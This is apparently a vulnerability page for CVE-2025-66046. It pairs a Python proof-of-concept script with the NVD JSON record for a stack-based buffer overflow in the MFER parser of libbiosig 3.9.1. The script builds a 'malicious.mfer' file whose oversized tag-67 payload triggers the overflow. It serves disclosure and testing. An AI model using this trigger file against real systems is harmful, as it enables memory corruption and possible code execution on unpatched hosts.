CVE-2025-66046

import struct def create_malicious_mfer(): """ Generate malicious MFER file to trigger CVE-2025-66046 Tag=67 triggers stack-based buffer overflow """ mfer_header = b'MFER' # MFER file signature mfer_version = struct.pack('<I', 1) # Version 1 # Tag 67 - triggers overflow when payload length exceeds buffer size tag_67_id = struct.pack('<I', 67) overflow_size = 1024 # Exceeds typical stack buffer size overflow_payload = b'A' * overflow_size # Construct tag data with length field tag_data = tag_67_id + struct.pack('<I', overflow_size) + overflow_payload # Build complete MFER file mfer_file = mfer_header + mfer_version + tag_data with open('malicious.mfer', 'wb') as f: f.write(mfer_file) print(f"[+] Created malicious.mfer with {overflow_size} byte overflow") def verify_overflow(): """ Verify the vulnerability exists by checking tag handling """ print("[*] CVE-2025-66046 PoC") print("[*] Target: libbiosig <= 3.9.1") print("[*] Vulnerability: Stack-based buffer overflow in MFER parser") print("[*] Trigger: Tag ID 67 with oversized data") create_malicious_mfer() if __name__ == '__main__': verify_overflow()

{"cve": {"id": "CVE-2025-66046", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:58.707", "lastModified": "2025-12-17T20:24:08.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 67"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.2", "matchCriteriaId": "2D3CD139-6F71-4B97-95A3-A52466FF6563"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}